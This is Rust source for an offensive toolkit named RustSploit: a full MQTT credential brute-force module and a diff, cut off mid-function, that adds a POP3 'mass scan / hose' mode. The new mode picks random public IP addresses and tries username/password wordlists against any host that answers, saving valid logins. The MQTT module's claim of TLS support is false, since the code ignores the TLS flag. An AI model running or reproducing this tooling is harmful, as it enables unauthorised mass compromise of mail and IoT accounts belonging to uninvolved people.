//! High-performance MQTT authentication testing with:
|
||||
//! - TLS/SSL support (port 8883)
|
||||
//! - Anonymous authentication detection
|
||||
//! - Intelligent error classification
|
||||
//! - Progress tracking and statistics
|
||||
//! - Multiple attack modes (full combo, linear, single user/pass)
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range, prompt_default,
|
||||
load_lines, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const MQTT_READ_TIMEOUT_MS: u64 = 3000;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
// MQTT Protocol Constants
|
||||
const MQTT_PACKET_CONNECT: u8 = 0x10;
|
||||
const MQTT_PACKET_CONNACK: u8 = 0x20;
|
||||
const MQTT_PACKET_DISCONNECT: u8 = 0xE0;
|
||||
const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT";
|
||||
const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04;
|
||||
|
||||
// MQTT Connect Flags
|
||||
const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02;
|
||||
const MQTT_FLAG_USERNAME: u8 = 0x80;
|
||||
const MQTT_FLAG_PASSWORD: u8 = 0x40;
|
||||
|
||||
// MQTT Return Codes
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum MqttReturnCode {
|
||||
Accepted,
|
||||
UnacceptableProtocol,
|
||||
IdentifierRejected,
|
||||
ServerUnavailable,
|
||||
BadCredentials,
|
||||
NotAuthorized,
|
||||
Unknown(u8),
|
||||
}
|
||||
|
||||
impl MqttReturnCode {
|
||||
fn from_byte(b: u8) -> Self {
|
||||
match b {
|
||||
0x00 => Self::Accepted,
|
||||
0x01 => Self::UnacceptableProtocol,
|
||||
0x02 => Self::IdentifierRejected,
|
||||
0x03 => Self::ServerUnavailable,
|
||||
0x04 => Self::BadCredentials,
|
||||
0x05 => Self::NotAuthorized,
|
||||
_ => Self::Unknown(b),
|
||||
}
|
||||
}
|
||||
|
||||
fn is_auth_failure(&self) -> bool {
|
||||
matches!(self, Self::BadCredentials | Self::NotAuthorized)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::Accepted => "Connection Accepted",
|
||||
Self::UnacceptableProtocol => "Unacceptable Protocol Version",
|
||||
Self::IdentifierRejected => "Identifier Rejected",
|
||||
Self::ServerUnavailable => "Server Unavailable",
|
||||
Self::BadCredentials => "Bad Username or Password",
|
||||
Self::NotAuthorized => "Not Authorized",
|
||||
Self::Unknown(_) => "Unknown Return Code",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Configuration
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone)]
|
||||
struct MqttConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
use_tls: bool,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
client_id: String,
|
||||
test_anonymous: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Attack Result
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum AttackResult {
|
||||
Success(String, String), // (username, password)
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let normalized_target = normalize_target(&target.to_string())?;
|
||||
println!("{}", format!("[*] Target: {}", normalized_target).cyan());
|
||||
println!();
|
||||
|
||||
// Configuration prompts
|
||||
let port = prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16;
|
||||
let use_tls = if port == 8883 {
|
||||
println!("{}", "[*] Port 8883 detected - TLS enabled by default".blue());
|
||||
true
|
||||
} else {
|
||||
prompt_yes_no("Use TLS/SSL?", false)?
|
||||
};
|
||||
|
||||
let test_anonymous = prompt_yes_no("Test anonymous authentication first?", true)?;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file")?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file")?;
|
||||
let threads = prompt_int_range("Concurrent connections", 10, 1, 500)? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
|
||||
let full_combo = prompt_yes_no("Full combination mode (user × pass)?", false)?;
|
||||
let verbose = prompt_yes_no("Verbose output?", false)?;
|
||||
let client_id = prompt_default("MQTT Client ID", "rustsploit_mqtt")?;
|
||||
|
||||
let config = MqttConfig {
|
||||
target: normalized_target,
|
||||
port,
|
||||
use_tls,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
client_id,
|
||||
test_anonymous,
|
||||
};
|
||||
|
||||
run_bruteforce(config, &username_wordlist, &password_wordlist).await
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ MQTT Brute Force Module v2.0 ║".cyan());
|
||||
println!("{}", "║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Bruteforce Engine
|
||||
// ============================================================================
|
||||
|
||||
async fn run_bruteforce(
|
||||
config: MqttConfig,
|
||||
username_file: &str,
|
||||
password_file: &str,
|
||||
) -> Result<()> {
|
||||
// Build connection address
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
|
||||
// Load wordlists
|
||||
let usernames = load_lines(username_file)?;
|
||||
let passwords = load_lines(password_file)?;
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Usernames: {}", usernames.len()).cyan());
|
||||
println!("{}", format!("[*] Passwords: {}", passwords.len()).cyan());
|
||||
|
||||
let total = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: ~{}", total).cyan());
|
||||
println!("{}", format!("[*] TLS: {}", if config.use_tls { "Enabled" } else { "Disabled" }).cyan());
|
||||
println!();
|
||||
|
||||
// State
|
||||
let found: Arc<Mutex<Vec<(String, String)>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let attempts = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Test anonymous first if requested
|
||||
if config.test_anonymous {
|
||||
println!("{}", "[*] Testing anonymous authentication...".blue());
|
||||
match try_mqtt_auth(&addr, "", "", &config.client_id, config.use_tls).await {
|
||||
AttackResult::Success(_, _) => {
|
||||
println!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold());
|
||||
found.lock().await.push(("(anonymous)".to_string(), "(no password)".to_string()));
|
||||
if config.stop_on_success {
|
||||
print_results(&found, &stats).await;
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
AttackResult::AuthFailed => {
|
||||
println!("{}", "[-] Anonymous access denied (authentication required)".yellow());
|
||||
}
|
||||
AttackResult::ConnectionError(e) => {
|
||||
println!("{}", format!("[!] Connection error: {}", e).red());
|
||||
return Err(anyhow!("Cannot connect to MQTT broker: {}", e));
|
||||
}
|
||||
AttackResult::ProtocolError(e) => {
|
||||
println!("{}", format!("[!] Protocol error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_flag.clone();
|
||||
let attempts_clone = attempts.clone();
|
||||
let total_clone = total;
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let current = attempts_clone.load(Ordering::Relaxed);
|
||||
let pct = if total_clone > 0 { (current * 100) / total_clone } else { 0 };
|
||||
print!("\r{}", format!("[*] Progress: {}/{} ({}%) ", current, total_clone, pct).blue());
|
||||
stats_clone.print_progress();
|
||||
tokio::time::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Semaphore for concurrency control
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate and spawn tasks
|
||||
if config.full_combo {
|
||||
// Full combination: every user × every password
|
||||
for username in &usernames {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
for password in &passwords {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
spawn_attempt(
|
||||
&mut tasks,
|
||||
&semaphore,
|
||||
&config,
|
||||
&addr,
|
||||
username.clone(),
|
||||
password.clone(),
|
||||
&found,
|
||||
&stop_flag,
|
||||
&stats,
|
||||
&attempts,
|
||||
).await;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Linear mode: zip users and passwords (cycling shorter list)
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let username = &usernames[i % usernames.len()];
|
||||
let password = &passwords[i % passwords.len()];
|
||||
spawn_attempt(
|
||||
&mut tasks,
|
||||
&semaphore,
|
||||
&config,
|
||||
&addr,
|
||||
username.clone(),
|
||||
password.clone(),
|
||||
&found,
|
||||
&stop_flag,
|
||||
&stats,
|
||||
&attempts,
|
||||
).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Await all tasks
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
if config.verbose {
|
||||
eprintln!("{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
println!(); // Clear progress line
|
||||
|
||||
print_results(&found, &stats).await;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_attempt(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
config: &MqttConfig,
|
||||
addr: &str,
|
||||
username: String,
|
||||
password: String,
|
||||
found: &Arc<Mutex<Vec<(String, String)>>>,
|
||||
stop_flag: &Arc<AtomicBool>,
|
||||
stats: &Arc<BruteforceStats>,
|
||||
attempts: &Arc<AtomicUsize>,
|
||||
) {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
let addr = addr.to_string();
|
||||
let config = config.clone();
|
||||
let found = Arc::clone(found);
|
||||
let stop_flag = Arc::clone(stop_flag);
|
||||
let stats = Arc::clone(stats);
|
||||
let attempts = Arc::clone(attempts);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit; // Hold until task completes
|
||||
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
attempts.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
match try_mqtt_auth(&addr, &username, &password, &config.client_id, config.use_tls).await {
|
||||
AttackResult::Success(u, p) => {
|
||||
println!("\r{}", format!("[+] VALID: {}:{}", u, p).green().bold());
|
||||
found.lock().await.push((u, p));
|
||||
stats.record_success();
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
AttackResult::AuthFailed => {
|
||||
stats.record_failure();
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[-] {}:{}", username, password).dimmed());
|
||||
}
|
||||
}
|
||||
AttackResult::ConnectionError(e) => {
|
||||
stats.record_error(e.clone()).await;
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[!] Connection: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
AttackResult::ProtocolError(e) => {
|
||||
stats.record_error(e.clone()).await;
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[!] Protocol: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
async fn print_results(found: &Arc<Mutex<Vec<(String, String)>>>, stats: &Arc<BruteforceStats>) {
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No valid credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (user, pass) in creds.iter() {
|
||||
println!(" {} {}:{}", "✓".green(), user, pass);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MQTT Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
async fn try_mqtt_auth(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client_id: &str,
|
||||
_use_tls: bool,
|
||||
) -> AttackResult {
|
||||
// Connect with timeout
|
||||
let stream = match tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()),
|
||||
Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()),
|
||||
};
|
||||
|
||||
// TODO: Add TLS support using tokio-native-tls or tokio-rustls
|
||||
// For now, we proceed with plain TCP (TLS requires additional dependencies)
|
||||
|
||||
match mqtt_handshake(stream, username, password, client_id).await {
|
||||
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
|
||||
Ok(false) => AttackResult::AuthFailed,
|
||||
Err(e) => AttackResult::ProtocolError(e.to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn mqtt_handshake(
|
||||
mut stream: TcpStream,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client_id: &str,
|
||||
) -> Result<bool> {
|
||||
// Build CONNECT packet
|
||||
let packet = build_connect_packet(username, password, client_id)?;
|
||||
|
||||
// Send CONNECT
|
||||
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
|
||||
stream.flush().await.context("Failed to flush")?;
|
||||
|
||||
// Read CONNACK
|
||||
let mut header = [0u8; 2];
|
||||
let read_result = tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut header),
|
||||
).await;
|
||||
|
||||
match read_result {
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
}
|
||||
|
||||
if header[0] != MQTT_PACKET_CONNACK {
|
||||
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0]));
|
||||
}
|
||||
|
||||
let remaining_len = header[1] as usize;
|
||||
if remaining_len < 2 {
|
||||
return Err(anyhow!("CONNACK too short"));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; remaining_len];
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
).await.context("Read timeout")?
|
||||
.context("Failed to read CONNACK payload")?;
|
||||
|
||||
// Parse return code (byte 1 of variable header)
|
||||
let return_code = MqttReturnCode::from_byte(payload[1]);
|
||||
|
||||
// Send DISCONNECT on success
|
||||
if return_code == MqttReturnCode::Accepted {
|
||||
let _ = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await;
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
if return_code.is_auth_failure() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(anyhow!("MQTT error: {}", return_code.description()))
|
||||
}
|
||||
|
||||
fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result<Vec<u8>> {
|
||||
let mut var_header = Vec::new();
|
||||
|
||||
// Protocol Name
|
||||
var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes());
|
||||
var_header.extend_from_slice(MQTT_PROTOCOL_NAME);
|
||||
|
||||
// Protocol Level
|
||||
var_header.push(MQTT_PROTOCOL_LEVEL_V311);
|
||||
|
||||
// Connect Flags
|
||||
let mut flags = MQTT_FLAG_CLEAN_SESSION;
|
||||
if !username.is_empty() {
|
||||
flags |= MQTT_FLAG_USERNAME;
|
||||
}
|
||||
if !password.is_empty() {
|
||||
flags |= MQTT_FLAG_PASSWORD;
|
||||
}
|
||||
var_header.push(flags);
|
||||
|
||||
// Keep Alive (60 seconds)
|
||||
var_header.extend_from_slice(&60u16.to_be_bytes());
|
||||
|
||||
// Payload
|
||||
let mut payload = Vec::new();
|
||||
|
||||
// Client ID (required)
|
||||
let client_id_bytes = client_id.as_bytes();
|
||||
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(client_id_bytes);
|
||||
|
||||
// Username (optional)
|
||||
if !username.is_empty() {
|
||||
let username_bytes = username.as_bytes();
|
||||
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(username_bytes);
|
||||
}
|
||||
|
||||
// Password (optional)
|
||||
if !password.is_empty() {
|
||||
let password_bytes = password.as_bytes();
|
||||
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(password_bytes);
|
||||
}
|
||||
|
||||
// Calculate remaining length
|
||||
let remaining_length = var_header.len() + payload.len();
|
||||
let remaining_bytes = encode_remaining_length(remaining_length)?;
|
||||
|
||||
// Build final packet
|
||||
let mut packet = Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len());
|
||||
packet.push(MQTT_PACKET_CONNECT);
|
||||
packet.extend_from_slice(&remaining_bytes);
|
||||
packet.extend_from_slice(&var_header);
|
||||
packet.extend_from_slice(&payload);
|
||||
|
||||
Ok(packet)
|
||||
}
|
||||
|
||||
fn encode_remaining_length(mut length: usize) -> Result<Vec<u8>> {
|
||||
if length > 268_435_455 {
|
||||
return Err(anyhow!("Packet too large"));
|
||||
}
|
||||
|
||||
let mut bytes = Vec::with_capacity(4);
|
||||
loop {
|
||||
let mut byte = (length % 128) as u8;
|
||||
length /= 128;
|
||||
if length > 0 {
|
||||
byte |= 0x80;
|
||||
}
|
||||
bytes.push(byte);
|
||||
if length == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(bytes)
|
||||
}
|
||||
+233
-23
@@ -1,4 +1,4 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
@@ -15,10 +15,30 @@ use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
use std::sync::atomic::AtomicUsize;
|
||||
use std::net::{IpAddr, SocketAddr};
|
||||
use tokio::fs::OpenOptions; // For file writing in mass scan
|
||||
use tokio::io::AsyncWriteExt; // For write_all
|
||||
|
||||
|
||||
const STATE_FILE: &str = "pop3_hose_state.log";
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
#[derive(Clone)]
|
||||
struct Pop3BruteforceConfig {
|
||||
target: String,
|
||||
@@ -41,26 +61,35 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
|
||||
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file")?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file")?;
|
||||
|
||||
let threads = prompt_int_range("Threads", 16, 1, 256).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60).await? as u64;
|
||||
let threads = prompt_int_range("Threads", 16, 1, 256)? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
|
||||
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60)? as u64;
|
||||
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", false).await?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", false)?;
|
||||
|
||||
let output_file = prompt_default("Output file for results", "pop3_results.txt").await?;
|
||||
let output_file = prompt_default("Output file for results", "pop3_results.txt")?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let retry_on_error = prompt_yes_no("Retry failed connections?", true).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let retry_on_error = prompt_yes_no("Retry failed connections?", true)?;
|
||||
let max_retries = if retry_on_error {
|
||||
prompt_int_range("Max retries", 2, 1, 10).await? as usize
|
||||
prompt_int_range("Max retries", 2, 1, 10)? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
@@ -89,10 +118,196 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
run_pop3_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let output_file = prompt_default("Output result file", "pop3_mass_results.txt")?;
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines, use_ssl));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid POP3 credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Semaphore closed, exit loop
|
||||
};
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await
|
||||
.context(format!("Failed to read target file: {}", target))?;
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => continue, // Skip this IP if semaphore closed
|
||||
};
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>, bool)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes, use_ssl) = &*creds;
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
// Construct a config for the attempt function
|
||||
// We can't reuse the large config struct easily without creating dummy values,
|
||||
// so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args.
|
||||
// For now, I'll build a dummy config.
|
||||
let dummy_wordlist = "dummy".to_string();
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let t_target = target_str.clone();
|
||||
let t_user = user.clone();
|
||||
let t_pass = pass.clone();
|
||||
let t_use_ssl = *use_ssl;
|
||||
let dw = dummy_wordlist.clone();
|
||||
|
||||
// Blocking call
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
let config = Pop3BruteforceConfig {
|
||||
target: t_target,
|
||||
